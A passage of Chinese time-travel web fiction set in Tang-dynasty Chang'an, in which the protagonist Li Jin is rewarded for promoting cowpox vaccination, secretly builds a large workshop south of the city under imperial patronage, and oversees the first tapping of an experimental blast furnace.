殿内瞬间一片寂静,随即响起几声压抑不住的惊叹。长孙无忌、褚遂良等人虽对牛痘之事略有所闻,但闻听有如此确凿的预防实证,仍是大为震动。于志宁、柳奭更是面露喜色。痘疮之凶,人尽皆知,若真有法可防,简直是活人无算的功德!
皇帝李治猛地从御座上站起,眼中爆发出炽热的光芒:“刘神威,你所奏,可都属实?那三名内侍,果真无恙?”
“臣以性命担保,句句属实!三名内侍现就在太医署隔离观察,陛下可随时传召查验!” 刘神威斩钉截铁。
“好!好!好!” 李治连说三个好字,激动之情溢于言表。他看向李瑾,目光复杂,“李瑾,此术由你首倡,刘神威验证推行,你们……立了大功了!”
“陛下,此乃陛下圣心烛照,允臣等试验;刘副署令及太医署诸位同僚不避艰险,精心操作;更有那三百余名自愿试种之内侍、禁军,其功不可没。臣不过偶拾古方牙慧,不敢居功。” 李瑾连忙出列,将功劳再次推给皇帝和众人。
“你不必过谦。” 李治摆摆手,重新坐下,脸上带着罕见的振奋之色,“此术既能预防痘疮,于国于民,皆是莫大福祉。刘神威!”
“臣在!”
“朕命你,即刻统筹太医署得力人手,扩大‘痘苗’制备,制定详尽的接种章程与禁忌。先于宫禁之内,所有未出过痘的宫人、内侍、侍卫及其在京家眷,分批接种,务必稳妥。待宫中施行无误,积累经验后,再于京师各衙署、驻军,乃至……天下各州县,逐步推行!此乃朝廷德政,活命善举,务必办好!” 李治的思路极快,瞬间已想到推广。
“臣遵旨!必当竭尽全力!” 刘神威高声应诺。
“陛下圣明!” 长孙无忌等人齐声道。推广牛痘,预防天花,这是足以载入史册的大功德,于国能安民心、强兵员,于皇帝能彰显仁德、稳固统治,无人会反对。
李治又看向李瑾,沉吟道:“李瑾献策有功,擢升未久,本不宜再赏。然牛痘之功,实非寻常。朕加你为崇文馆直学士(从五品上),仍兼太子右赞善大夫,特许你参议太医署推广牛痘相关事宜,并可随时向朕密奏进展。”
崇文馆直学士!这是清贵无比的文学侍从之职,常由皇帝亲信的饱学之士担任,虽无具体职掌,但地位尊崇,是极高的荣誉和身份象征。加上“参议太医署推广牛痘事宜”和“随时密奏”的特权,李瑾在东宫和朝堂的影响力,无形中又提升了一大截。
“臣,叩谢陛下天恩!” 李瑾再次大礼参拜。他知道,这份赏赐,不仅仅是奖励牛痘之功,更是皇帝对他“忠诚”、“能干”、“知进退”的肯定,是将其进一步纳入心腹圈子的明确信号。
会议结束后,李瑾与刘神威一同告退。走出紫宸殿,春寒料峭,但二人心中都有一股暖流涌动。
“瑾兄,不,李学士,” 刘神威感慨道,“牛痘得以推行,活人无数,瑾兄当居首功!神威佩服!”
“神威兄切莫如此说,若无兄之医术与担当,此术不过是纸上谈兵。” 李瑾诚恳道,“往后推广,千头万绪,更需兄劳心劳力。我们需仔细筹划,既要快,更要稳,绝不能出任何纰漏,辜负陛下信任,亦不能让此等善政,被小人从中作梗。”
“我明白!” 刘神威重重点头。
回到东宫,消息已然传开。于志宁见到李瑾,破天荒地主动拍了拍他的肩膀,语气和缓:“赞善(对右赞善大夫的尊称),此番献策防疫,功在社稷,实为我东宫增光。太子殿下闻之,亦甚为欣慰,言李师傅(太子仍偶尔用旧称)不仅学问好,更能办实事。” 这位于老大人,终于从心底里,初步认可了李瑾。
接下来的日子,李瑾更加忙碌。他既要处理东宫日常公务,又要与刘神威、太医署、乃至户部、工部协调牛痘推广所需的人力、物力、场地。他提出的“分级培训接种医师”、“建立接种记录档案”、“设置临时隔离观察所”、“编撰简易接种须知”等建议,被刘神威采纳,使得推广工作得以有条不紊地展开。与此同时,他也开始以崇文馆直学士的身份,参与一些经筵讲学、典籍编修方面的讨论,虽然发言不多,但每每切中要害,其博学与见识,逐渐得到馆中其他学士的认可。
太子的身体康复速度加快,已能在宫人搀扶下,在丽正殿前的庭院中缓步行走。这一日,春光明媚,太子特意召李瑾至院中叙话。
“李师傅,” 太子李忠坐在铺了厚垫的石凳上,脸色依旧苍白,但眼神清亮了许多,“孤病了这些时日,恍如隔世。前番风雨,累及师傅,也累及父皇、母后忧心。听闻师傅献上防痘奇术,活人无数,孤心中甚是感佩。师傅曾言,‘知民生之多艰,方知仁政之可贵’,如今师傅便是以实学行仁政了。”
“殿下过誉了。” 李瑾躬身道,“臣只是尽本分。殿下仁孝聪敏,此番康复,乃上天庇佑,陛下、皇后慈爱所致。如今殿下凤体渐安,正当静心将养,读书明理。待殿下大安,臣再为殿下讲些海外风物、民生经济之事,或于殿下将来,有所裨益。”
太子点点头,目光望向远处宫墙上方碧蓝的天空,轻声道:“孤知道,这东宫之位,看似稳了,实则不知多少人盯着。经此一病,孤也明白许多。李师傅,” 他转过头,看向李瑾,眼中带着与年龄不符的沉静,“日后,还请师傅多多辅佐孤。孤……需要如师傅这般,有实学、有胆识、又肯真心为孤着想的人。”
这话,已近乎托付。李瑾心中一凛,郑重行礼:“臣,必当竭尽驽钝,辅佐殿下。愿殿下早日康复,龙体安康。”
从丽正殿出来,李瑾走在东宫熟悉的回廊上,阳光透过雕花的窗棂,在地上投下明明灭灭的光影。春风拂过庭中枯枝,已能看见点点不易察觉的嫩芽。
东宫位渐稳。太子的病在好转,地位因皇帝的维护和对手的受挫而更加稳固;牛痘的推广在稳步进行,将为他赢得巨大的声望和政治资本;他自己,也从一个边缘的“讲学”,成长为皇帝和太子都颇为倚重的“辅翼”和“直学士”。看似一切都在向好。
但他知道,这“稳固”之下,暗流从未停息。萧淑妃的温柔刀,萧瑀门生故旧的暗中串联,朝中其他势力的观望与算计,乃至……太子康复后,朝野对“未来君主”更严苛的审视与期待,都是新的挑战。他与武曌的同盟,也需要在更复杂的局面下,寻找新的契机与发展。
然而,相较于数月前的如履薄冰、生死一线,此刻的他,手中已有了更多筹码,脚下已有了更坚实的立足之地。他从一个被动卷入历史的穿越者,逐渐成为了能主动参与、甚至一定程度影响历史走向的“局中人”。
他停下脚步,望向皇城巍峨的宫阙。那里是权力的中心,也是风暴的源头。但他已不再畏惧。
东宫位渐稳,潜龙欲腾渊。而他李瑾,将作为这潜龙身边最重要的翼护之一,在这大唐的天空下,继续他的征程。前路漫漫,道阻且长,然心向光明,行则将至。
第41章 城南建工坊
时入仲春,长安城内外,冰雪消融,草木萌发。东宫的危机随着太子的渐愈、谶纬案的尘埃落定以及牛痘术的顺利推广,似乎暂告一段落。朝廷上下,将目光重新投向即将到来的春耕、边防以及一年一度的科举取士。然而,在这看似重归平静的表象之下,李瑾的心却如同这解冻的春水,暗流涌动,谋划着更深远的布局。
崇文馆直学士兼太子右赞善大夫的官职,为他披上了一层清贵且颇具分量的外衣。每日出入东宫,参与机要,偶有经筵侍讲,与长孙无忌、褚遂良等重臣也有了更多礼节性的接触。皇帝李治对他的信任与日俱增,牛痘推广事宜的“参议”之权,让他能够名正言顺地过问太医署、户部乃至将作监的部分事务,积累了宝贵的行政经验和人脉。太子李忠的身体一日好过一日,已能每日抽出小半个时辰,听李瑾讲些简化过的地理、算学、甚至浅显的物理常识,眼神中除了依赖,更添了几分对这位“有实学”师傅的真切敬重。
然而,李瑾深知,宫廷的恩宠如同春日的天气,变幻莫测。萧淑妃虽因父亲萧瑀闭门而暂时收敛,但其在宫中的根基未损,温柔乡里的枕头风从未停歇。朝中依附萧氏、或对太子一系(尤其是因牛痘、谶纬案而声势稍涨的王皇后一系)心怀芥蒂的势力,依然大有人在。自己这个“骤贵”的年轻臣子,看似风光,实则根基浅薄,所依仗的不过是皇帝的赏识、太子的信任以及几件“奇功”。这些固然重要,但若想在这波谾云诡的长安真正立足,拥有足够自保乃至进取的资本,仅靠这些是远远不够的。
他需要实打实的力量。这力量,可以是庞大的财富,可以是精锐的私属(在合法框架内),可以是超越时代的技术,更可以是能将这些转化为影响力的、独立于朝堂派系之外的经济与生产基础。简而言之,他需要一个完全由自己掌控的、能不断“生利”、“聚利”并孵化“奇物”的基地。
“明玻”工坊的成功(尽管规模尚小,产出珍贵),牛痘术从理论到实践的验证,以及前世带来的庞大知识库,都让他看到了这种可能性。是时候,将之前的“小打小闹”,升级为系统化、规模化、且更具前瞻性的实业布局了。
他的目光,投向了长安城外。
长安城规模宏大,功能分区明确。皇城、宫城是政治中心,东西两市是商业中心,各坊是居住区,而手工业作坊,则多集中于外郭城,尤其是靠近漕渠、水源充足、地价相对低廉的城南、城西一带。那里聚集着大量官营、私营的织造、冶炼、陶瓷、木器、造纸等作坊,匠户云集,物料流通便利,同时也是三教九流混杂、官府管控相对松散之地。
经过深思熟虑和秘密勘察,李瑾最终将地点选在了长安城南,安化门与明德门之间,靠近永安渠支流的一片相对偏僻的河滩荒地。此地隶属长安县管辖,原本是前朝某处废弃的砖窑旧址,地势略高,不易积水,靠近水源(取水、排水便利),又临近通往终南山的驿道,运输方便。最重要的是,这里远离达官显贵的别业区,周围多是零散的农户和中小作坊,人员背景相对简单,不易引起过多注意。
地皮的购置,他交给了最信任也最擅长此道的王掌柜。以“江南富商欲在长安设立南北货栈及加工场”为名,通过数层白手套,辗转数道手续,最终以一个合理的价格,悄无声息地买下了这片占地约五十亩的荒地及周边一些零散坡地的三十年使用权。契约文书做得天衣无缝,最终受益人的名字,是一个与李瑾、王掌柜都毫无明面关联的“化名”。
接下来,是工坊的规划与建设。这一次,李瑾不再满足于之前“明玻”作坊那种因陋就简、小打小闹的模式。他亲自动手,结合前世的粗浅工程学知识和唐代的建筑、生产特点,绘制了一份详细的“城南工坊总体规划图”。
工坊被划分为数个功能区:
核心试验区:位于工坊最深处,围墙最高,守卫最严。计划修建数座高标准的砖石结构厂房,用于进行“明玻”工艺的深度研发与升级、新式炼钢(高炉)试验、以及一些特殊化学品的提纯与制备。此区出入需特殊凭证,匠人需签订最严格的身契与保密协议,集中居住,与外界基本隔绝。
量产一区(玻璃坊):在现有“明玻”工艺基础上,建立初步的流水线。规划了原料处理、配料、熔炼、成型、退火、切割、打磨、质检等不同工序的独立工棚,旨在提高产量、稳定质量,并为生产平板玻璃、中空器皿等更复杂产品做准备。
量产二区(综合坊):预留区域。李瑾计划未来在此尝试新式造纸术、活字印刷的前期木工/铸字、简易机械(如改良水车、鼓风机、简易车床)的制造与测试,乃至香露、花露水的规模化分装。区域间以巷道和绿化带分隔,既相对独立,又便于管理。
仓储区:修建大型仓库,用于存放原料、燃料(煤、木炭)、成品、半成品。特别规划了符合唐代消防要求的“危险品仓”(存放碱、硝石等)。
匠人生活区:建造整齐的排屋,提供基本的食宿,并规划了公共浴堂、简单的医室和识字学堂(教授工匠子弟基础文字算学,既是福利,也是培养后备力量,更能增强归属感)。李瑾深知,想要工匠尽心尽力,必须给予远超寻常的待遇和尊重。
管理及护卫区:靠近大门,设有账房、管事房、议事厅,以及可容纳约五十名护卫驻扎的营房。安全是重中之重,尤其是在工坊产出价值连城的“奇物”之后。
规划图详尽标注了道路、排水沟、防火水池、瞭望哨的位置,甚至考虑了未来可能的扩建方向。当李瑾将这份远超时代、条理分明、考虑周详的规划图展示给王掌柜时,这位见多识广的老商人也被震撼得半晌说不出话来。
“公子……此等规制,便是将作监下属的大坊,怕也有所不及啊!” 王掌柜抚着图卷,感叹道,“尤其这分区、流水、防火、匠人安置之策,思虑之周全,老朽闻所未闻。只是……这投入,恐怕是个天文数字。”
“钱财之事,王叔不必过于忧心。” 李瑾胸有成竹,“‘明玻’作坊前期的获利,除去预留的研发和匠人薪俸,可全部投入。陛下赏赐的金帛,亦可动用大半。此外,牛痘推广,陛下特批了部分‘善款’可用于相关‘药械制备’,我们或可借此名目,购置一些通用器械、建材。最关键的是……”
他顿了顿,压低声音:“我们不需要一步到位,全部建成。可分期进行。第一期,先修筑围墙、大门、核心试验区、玻璃量产坊的熔炼成型部分,以及匠人生活区的基本设施。招募核心匠人,解决‘明玻’工艺的最后几个难题,尤其是大尺寸平板玻璃的稳定产出。只要此物能成,其价值足以支撑后续所有建设,还能为我们赢得更多的时间和空间。”
王掌柜眼睛一亮:“大尺寸平板玻璃?公子是说……能像绢布一样,做成窗户的?”
“正是。” 李瑾点头,“不仅用于窗户,还可用于镜鉴、屏风、乃至……某些特殊器具。此物一旦面世,其利百倍于如今的小件器皿。我们要做的,就是抢在所有人意识到其价值和方法之前,将它牢牢掌握在手中,并形成量产能力。”
“老朽明白了!” 王掌柜精神大振,“地皮已妥,匠人……之前‘明玻’作坊那几位老师傅,都是签了死契、绝对可靠之人,可作骨干。还需招募各类泥瓦匠、木匠、铁匠、烧窑匠,以及可靠护卫。这些,老朽去办,定寻那身家清白、手艺扎实、口风严的。”
“匠人待遇从优,但保密为首。所有入核心区者,需有可靠保人,家眷可接入生活区统一安置。护卫人选,可优先考虑退役的边军老兵或家中遭难、无甚牵挂的镖师,务必忠诚敢战。初期规模不必大,但要精。” 李瑾叮嘱,“工坊名义上的主人和管事,还是王叔你。我只会暗中关注,非必要时不会现身。所有对外联系、物料采购、人员招募,皆由你及你信任的副手掌管。账目需清晰,但核心配方、工艺参数,必须分割掌握,由你我亲自控制。”
“公子放心,老朽省得。” 王掌柜郑重应下。
接下来的日子,城南那片沉寂已久的河滩荒地,开始悄然发生变化。王掌柜以“货栈营建”为名,招募了大批泥瓦匠、木匠,开始修筑高大的夯土围墙(内层用砖石加固),开挖地基,平整场地。建筑材料、工具、粮食物资,通过永安渠和驿道,源源不断运来。动静虽然不小,但在作坊林立的城南,并未引起过多关注,只当是又来了个财力尚可的南方商人。
李瑾则通过刘神威,以“制备牛痘接种所需洁净器皿”为由,从将作监弄来了一批质量上乘的石英砂、长石、纯碱的采购指标和渠道。又通过杜铭家的关系,联系上了河东道的优质煤炭供应商。至于关键的耐火黏土和某些特殊矿物,则让王掌柜通过隐秘的西域商队渠道设法搜罗。
与此同时,李瑾开始了“人才储备”计划。他让王掌柜在招募普通工匠时,格外留意那些“心思活络、善于琢磨、不墨守成规”的匠人,尤其是年轻学徒。他将一些基础的几何、力学知识(如杠杆、滑轮、斜面省力原理),以及简单的标准化、流水线概念,编写成极其浅显的“匠作速成口诀”和示意图,打算在工坊初步运转后,择人进行秘密培训。他要培养的,不仅仅是熟练工,更是能够理解、甚至在未来参与改进工艺的“技术种子”。
当然,这一切都需在极度保密下进行。工坊外围,王掌柜布置了明暗两重岗哨,日夜巡视。所有匠人、杂役入住生活区后,非休沐日不得随意外出,外出也需登记事由、时限。李瑾自己,则通过李福,在工坊附近以“查看别业田庄”为名,购置了一处不起眼的农庄,作为秘密联络和中转站。
就在工坊的围墙一天天垒高,核心试验区的地基开始浇筑时,李瑾收到了来自感业寺武曌的密信。信中除了例行问候与互通消息(提及萧淑妃近日似乎对“新奇琉璃器”颇感兴趣,曾向皇帝打听),末尾,武曌以她那特有的敏锐写道:“闻君于城南有所营作,必是深谋。然树欲静而风不止,工坊兴起,其光难藏。旧日‘明玻’小利,或已引人侧目。今大张旗鼓,恐招豺狼。当思未雨绸缪,借势而为。或可借东宫、或陛下之名,为其披一层‘官办’、‘御用’之皮,虽受掣肘,亦可辟邪。妾在寺中,偶见前朝将作监档案,或有可用之制式、规制,可资借鉴。阅后即焚。”
武曌的提醒,与李瑾的隐忧不谋而合。工坊规模一大,产出价值剧增,必然引来各方觊觎。明枪易躲,暗箭难防。尤其是那些在“谶纬案”中吃了亏、或本就对新技术、新财富敏感的势力。
“借势而为……‘官办’、‘御用’之皮……” 李瑾咀嚼着武曌的话,脑中渐渐有了计较。或许,可以效仿汉代“盐铁专营”或本朝“宫市”、“将作监”的模式,为工坊找一个合适的“保护伞”。太子?皇帝?还是……以“进献”、“供奉”的名义,与内廷、将作监建立某种“合作关系”,让工坊的产出,部分打上“御制”、“官造”的烙印?
这样一来,固然要分润部分利益,接受一定监管,但却能极大震慑那些想用下作手段巧取豪夺的势力。同时,有了“官方背景”,在获取某些特殊原料、开拓高端市场、甚至推行新技术标准时,也会顺利许多。
“看来,是时候和于志宁,甚至……陛下,透一点风声了。” 李瑾望着窗外渐绿的庭树,心中盘算。“就说,为报答陛下、太子知遇之恩,愿将偶得的‘海外琉璃精制之法’献出,并愿投资建立工坊,专司研制生产,一则可供宫中御用,二则可售卖获利,充盈内帑或用于东宫用度,三则……或可借此工坊,试验其他有益国计民生的‘奇技巧思’。”
这个理由,冠冕堂皇,既表了忠心,又展现了价值,还预留了未来的发展空间。关键在于,如何把握分寸,既让皇帝看到好处、愿意提供庇护,又不能让其觉得工坊脱离掌控,或让李瑾“与民争利”的意图过于明显。
他铺开纸笔,开始草拟一份给皇帝的密奏,字斟句酌。同时,他也让李福去请于志宁,打算先与这位东宫首僚通通气。
城南的工坊,在春光中一天天显出雏形。高大的烟囱开始立起,工匠的号子声、夯土的闷响、木材的切割声,交织成一首充满希望的劳作序曲。这声音,暂时还被局限在围墙之内,但李瑾知道,要不了多久,它所孕育的“霹雳”与“奇迹”,终将震撼整个长安,乃至整个大唐。
而他,将站在这个由他亲手规划、融合了超越时代智慧与唐代工匠精神的基地中心,正式开启以“格物致用”改变时代的全新征程。工坊的根基正在打下,而他的野心与蓝图,也将随之,深植于这片古老而充满生机的土地。
第42章 高炉炼精钢
城南工坊的建设,在春末夏初的艳阳下,如火如荼地进行着。夯土围墙已然高耸,核心试验区的几座砖石厂房也初具规模,青砖灰瓦,在周围的旷野中显得格外醒目。王掌柜以“江南富商周某”的身份,坐镇工坊,调度着数百名工匠、力役,将李瑾那份详尽的规划图,一点一滴变为现实。工坊内昼夜不停,夯声、锯木声、号子声交织,吸引了周围不少好奇的目光,但都被“修建货栈与南方物产加工场”的说辞搪塞过去。偶尔有县衙的胥吏前来巡查,也被王掌柜以不菲的“茶水钱”和气地打发走了。
李瑾并未频繁亲临,他如今身份不同,目标太大。他主要通过李福和王掌柜秘密安排的心腹账房传递消息、下达指令。他将大部分精力,投注在了两件至关重要的事情上:第一,完善那份准备呈递给皇帝、为工坊寻求“官方庇护”的密奏;第二,也是更具挑战性的——整理、推演并准备试验“高炉炼钢”与“灌钢法”改进工艺。
钢铁,是工业的骨骼,更是军国利器。唐代的冶铁炼钢技术已相当发达,百炼钢、灌钢法(将生铁和熟铁合炼)等工艺成熟,能够锻造出精良的刀剑甲胄。但受限于炉温、燃料、鼓风技术以及对碳含量的精确控制,产量、质量稳定性以及获取优质“精钢”(高碳钢)的效率仍有很大提升空间。尤其是适用于制造精密器械、坚韧工具、乃至未来可能的火器部件的“匀质高碳钢”,更是难得。
李瑾并非冶金专家,但他拥有超越时代的基本原理认知。他知道,提高炉温是核心,而提高炉温的关键在于改进鼓风设备(强化空气流量和预热)、使用高热值燃料(焦炭,或优质煤炭替代部分木炭)、以及优化炉膛结构和耐火材料。唐代已有利用水排(水力鼓风机)的记载,但多用于大型官营冶铁,且效率有待提高。至于“高炉”,此时的竖炉炼铁已具雏形,但与后世成熟的、能连续出铁水的高炉尚有差距。
他结合记忆中的碎片知识(如古代中国冶金史、简易高炉原理图)和唐代现有的技术条件,开始绘制“试验性小型高炉”及配套“热风炉”、“水力/畜力活塞式鼓风机”的草图。他没有好高骛远,目标是建造一座高约两丈、炉膛内径三尺左右的小型高炉,能够使用本地易得的铁矿石(需先破碎、洗选、烧结成块)、木炭与初步煅烧过的“石炭”(煤)混合燃料,配合改进的鼓风,尝试冶炼出品质更优、含碳量更可控的“高碳生铁水”,再通过后续的炒炼、灌炼等工序,获得性能更好的钢。
这需要试验,大量的、可能失败的试验。耐火砖的配方、炉膛的倾斜角度、风口的布置、燃料的配比、鼓风的风压与风量……每一个细节都可能影响成败。他将这些技术要点分解、简化,用唐代工匠能理解的术语和图示记录下来,并标注出关键的控制参数和可能的风险。
与此同时,他让王掌柜秘密搜罗长安及周边州县的冶铁、铸铜匠人,尤其是那些“善于琢磨、不墨守成规、且愿意签下严格保密身契”的。最终,选定了三位年约四旬、经验丰富但各有“怪癖”的匠师:一位姓赵,曾因私自改进祖传灌钢法被原东家驱逐;一位姓钱,痴迷于研究各种鼓风机关;还有一位姓孙,对辨识矿石、燃料颇有心得。三人皆因各种原因落魄,被王掌柜许以重利、提供独立工舍、保障家小生活,并承诺其“奇思妙想”若成功可得重赏的优厚条件招揽至工坊,直接入驻核心试验区,由他们牵头组建最初的“冶铁试验组”。
当李瑾第一次在工坊核心区秘密改建出的“图纸房”内,向赵、钱、孙三位匠师展示他那套“古怪”的高炉与鼓风设备草图,并解释其中“预热鼓风以增炉温”、“以特定比例混合木炭石炭”、“控制‘黑金’(指碳)入铁之多寡可得不同刚柔之铁”等理念时,三位匠师最初是震惊、怀疑,甚至觉得这位年轻得过分、穿着儒袍的“东家”(他们不知李瑾真实身份)在异想天开。但当李瑾用炭笔在木板上画出简单的气流、热量循环示意图,并用他们熟悉的冶铁术语解释为何“热风”能助燃、为何“石炭”煅烧后去杂可增热、为何炉膛形状影响铁水流动与反应时,三人眼中的疑虑渐渐被一种混合了狂热与敬畏的光芒取代。
“东家……不,先生!” 赵匠师声音发颤,指着热风炉的草图,“此物……此物若成,岂非能将冷风变为暖风甚至热风吹入炉中?寻常水排、皮橐之风,入炉即冷,确是大耗火力!若能预热……乖乖,这炉子怕是要烧得通红透亮!”
钱匠师则痴迷地看着那活塞式鼓风机的结构图:“以水车或牲畜拉动此杆,推动皮碗往复,风力集中且可调……妙!比某之前所想的翻板风箱,似乎更省力,风压也更大!只是这皮碗密封、连杆铰接,需得精巧……”
孙匠师则更关注燃料和矿石处理:“先生所言,将石炭先置于无明火之窑中煅烧,去其烟毒硫气,所得‘焦炭’(李瑾借用的名词)更耐烧、更纯净……此理某细思,确有可能!还有这矿石,需破碎、水选、再以粘土粘结煅烧成块……这是为了去杂、均匀,使其在炉中受热反应更匀?”
见三位匠师迅速理解了核心原理,并开始思考具体实现的细节和难点,李瑾心中大定。他将整理好的、分门别类的“试验要点”和“问题记录簿”交给他们,郑重道:“诸位师傅,此非凭空妄想。我年少时曾得海外奇人传授残卷,于金石冶炼之道略有耳闻。然纸上得来终觉浅,能否成事,全赖诸位师傅之手艺、经验与巧思。工坊之内,一应物料、人手,任凭三位调用。但有所需,可直接寻王总管。唯有一条,所有试验过程、数据、成败,皆需详细记录于此簿,不得外泄一字。若能成功,不仅三位可名留匠史,得享厚报,于国于民,亦是莫大功德!”
“先生放心!” 三人齐声应诺,眼中燃烧着技术探索者特有的光芒。他们一生与火炉铁水为伴,追求技艺突破几乎成了本能。李瑾提供的思路,为他们打开了一扇前所未有的大门,哪有不全力以赴之理?
核心试验区的“一号高炉”工程,随即在绝对保密中启动。赵、钱、孙三人带着精心挑选的十余名签了死契、沉默肯干的学徒,在王掌柜调拨的泥瓦匠、铁匠配合下,开始依据李瑾修改后的最终图纸,建造这座承载着超越时代期望的炼铁炉。李瑾则通过李福,不断传递他根据前世模糊记忆和逻辑推演提出的修改建议,比如耐火砖的接缝处理、风口的倾角微调、出铁口与出渣口的位置等。
就在高炉主体即将完工,开始砌筑内部耐火层和安装鼓风设备时,李瑾等待的“官方东风”,终于来了。
经过数次修改斟酌,他那份关于“献琉璃精制之法、建工坊以利宫廷、试验奇技巧思”的密奏,通过东宫渠道,悄然呈递到了皇帝李治的案头。李治览罢,沉思良久。对于李瑾“知恩图报、愿献奇术、并自筹资金建坊”的忠心,他颇为赞许。琉璃之美,他早已见识,若能得更大、更精、更多样的制品充盈宫室,自然乐见。更重要的是,李瑾在奏折中隐约提及,此工坊将来或可“试制利农、利工、利兵之新器”,甚至可为牛痘推广、军中防疫提供特制器皿,这无疑打动了他。如今太子病体渐安,朝局稍稳,若能有这样一个不费朝廷帑银、又能产出实用之物、还能让李瑾这等“有巧思”的臣子一展所长的所在,似乎并无不可。
不过,帝王心术,讲究平衡与掌控。李治将奏折扣下,先召来了长孙无忌、于志宁密议。
“李瑾此请,二位爱卿以为如何?” 李治将奏折内容简略告知。
于志宁是东宫首僚,李瑾如今是他下属,且此议对东宫(太子)有间接好处,自然倾向于支持:“陛下,李瑾忠心可嘉,其人所献琉璃,确系珍品。若其能自筹资金建坊,改良工艺,既可供奉内廷,亦可售卖获利,补贴用度,更可试验有益之巧技,似是一举多得。臣以为,只要严加管束,不使其与民争利过甚,或可准其试行。”
长孙无忌则考虑得更深更广,他抚须缓缓道:“陛下,李瑾年轻,有奇思,肯任事,确是难得。其所言琉璃、奇技,或有所成。然,私营工坊,规模渐大,恐非长久之计。一则有与民争利、聚敛之嫌;二则其术若真有大用,如那‘牛痘’一般,则不宜尽操于私人之手。老臣以为,不若仿将作监下属‘百工署’之例,许其以‘供奉’之名建坊,所出精品优先供应宫中,余者方可发卖。并可派一可靠官员或内侍,参与监管账目、稽核产出,使其虽为私营,实带‘官督’之性质。如此,既可励其忠心,用其才智,又可防微杜渐,将利国奇技,纳于朝廷掌控之中。”
李治闻言,深以为然。长孙无忌的建议,既给了李瑾施展空间,又套上了笼头,将潜在的利益和风险都控制在可接受范围内。“司徒老成谋国,此言甚善。便依司徒所言,准李瑾所请。着内侍省与将作监,各派一员,协同东宫(于志宁),对李瑾所建工坊行‘稽核监理’之责,一应产出,需报备在案,优先供应宫禁。其坊可挂‘内廷供奉’之牌。具体章程,由司徒与于卿拟定。”
有了皇帝的口谕和“内廷供奉”这块金字招牌,城南工坊的性质瞬间发生了微妙变化。虽然依旧是王掌柜出面经营,账目独立,但有了官方背景,采购某些受限原料(如大量石炭、优质黏土)、招募特殊匠人,都顺利了许多。于志宁指派了一名东宫属吏,内侍省和将作监也各派了一名品阶不高、但人精似的宦官和匠官,隔三差五来“巡视”,实则更多是了解情况、看看有无新奇玩意可上报,顺便收取些“常例”。王掌柜应对得体,账目清晰,招待周到,偶尔送上些工坊试制的、不算最顶级的琉璃小件,倒也相安无事。
“内廷供奉”的牌子悄悄挂上工坊大门一侧,并未引起太大波澜,但在有心人眼中,这已是一个明确的信号:这处工坊,背后有宫里,甚至可能是皇帝的影子。那些原本有些蠢蠢欲动、想打探或分一杯羹的地方胥吏、豪强,顿时偃旗息鼓,观望起来。
李瑾对此结果颇为满意。官方监管虽有掣肘,但换来了保护伞和发展空间,利大于弊。他让王掌柜对三位“监理”恭敬有加,该给的好处不少,但核心试验区的秘密,则严加封锁,那三位“监理”的活动范围也被限制在办公区和已投产的玻璃坊外围。
时间在忙碌中飞逝。五月末,芒种时节,城南工坊的“一号高炉”,在经历了数次小型点火试验、调整风道、修补耐火层后,终于准备正式进行第一次“出铁”试验。
这一日,天未亮,李瑾便以“休沐访友”为名,悄然离开崇仁坊,在数名换了便装的东宫侍卫(于志宁特意拨给他“护卫安全”的)暗中保护下,从农庄密道进入工坊核心区。
试验场气氛凝重而热切。高约两丈的土红色炉体静静矗立,旁边连着略矮些的圆柱形热风炉(以高炉废气预热鼓风),以及由畜力(两头健牛)驱动的改良活塞式鼓风机。炉前堆放着处理好的铁矿石团块、木炭、以及孙匠师带着人反复试验烧制成的、黑亮坚硬、敲击有金属声的“焦炭”。赵、钱、孙三位匠师带着各自挑选的学徒,全身穿着浸过水的厚麻衣,脸上蒙着湿布,神情肃穆,如同即将进行一场庄严的仪式。王掌柜也在一旁,额角见汗,既是紧张,也是炉前高温烘烤。
李瑾站在稍远的、搭了凉棚的观察台上,同样心潮起伏。他知道,这一步若能成功,意义非凡。这不仅意味着能得到质量更好的钢铁,更是对他带来的知识、唐代工匠智慧以及这种“产学研”结合模式的一次重大验证。
“吉时已到,开炉——!” 随着赵匠师一声沙哑的高喊,钱匠师指挥学徒驱动牛只,活塞鼓风机开始发出“呼哧呼哧”的沉闷声响,将空气压入热风炉预热,再送入高炉底部风口。孙匠师则亲自监督,指挥学徒们通过炉顶的加料口,将按特定比例混合的焦炭、木炭、矿石团块分层投入炉中。
炉内很快传来“噼啪”的燃烧声,烟囱冒出浓烟,随即在鼓风机持续送风下,浓烟渐淡,火焰透过炉体上方的观火孔,呈现出明亮的橙黄色,并逐渐向白炽转变。热浪滚滚袭来,即使站在观察台上,也能感到扑面而来的灼热。
“风力稳!”
“炉火正!”
“加料!”
匠师们简短而有力的指令在炉前回荡。所有人都紧盯着炉火、风压、以及炉体各处的状况。李瑾也全神贯注,根据火焰颜色、烟尘状况,结合前世模糊的常识,判断着炉内反应。他注意到,使用了部分焦炭和热风后,炉温明显高于寻常炼铁炉,火焰更加白亮耀眼。
时间一点一滴过去。从清晨到正午,高炉持续燃烧。匠师们根据经验和李瑾事先交代的注意事项,不断调整着燃料配比和鼓风强度。炉体在高温下隐隐发红,但坚固的耐火层经受住了考验。
终于,在午后未时左右,一直紧盯出铁口的赵匠师猛地大吼一声:“见红了!准备出铁!”
只见那用特殊耐火泥封堵的出铁口,被长长的铁钎猛地捅开,一股炽热耀眼的、金红中带着白亮的粘稠铁水,如同地心奔流的岩浆,带着令人窒息的高温与光芒,轰然涌出,顺着预先挖好并铺了耐火砂的沟槽,奔腾流入下方早已准备好的、用耐火泥制好的“铁水包”中!
铁水!是铁水!不是以往竖炉炼出的、需要再次破碎熔炼的铁块,而是可以直接浇铸的液态生铁水!而且,看其流动性、光泽和颜色,品质似乎极佳!
“成功了!出铁水了!” 炉前瞬间爆发出震天的欢呼!许多匠人学徒激动得热泪盈眶,赵、钱、孙三位匠师更是互相拍打着肩膀,哈哈大笑,状若癫狂。王掌柜也长长舒了一口气,抹去额头的汗水,看向观察台上的李瑾,眼中充满敬佩。
李瑾也笑了,紧绷的心弦为之一松。但他知道,这仅仅是第一步。铁水出来了,还要看其成分、性能。他快步走下观察台,来到稍远处已经准备好的炒炼炉旁。那里,赵匠师已经指挥人,用长柄铁勺舀起一勺铁水,倒入一个浅底的炒炼炉中,加入碎矿石(氧化剂),用铁棒不断搅拌(炒),使生铁中的碳氧化,降低碳含量,得到熟铁或钢。这是关键时刻,考验匠师经验和对火候、碳含量把控的时候。
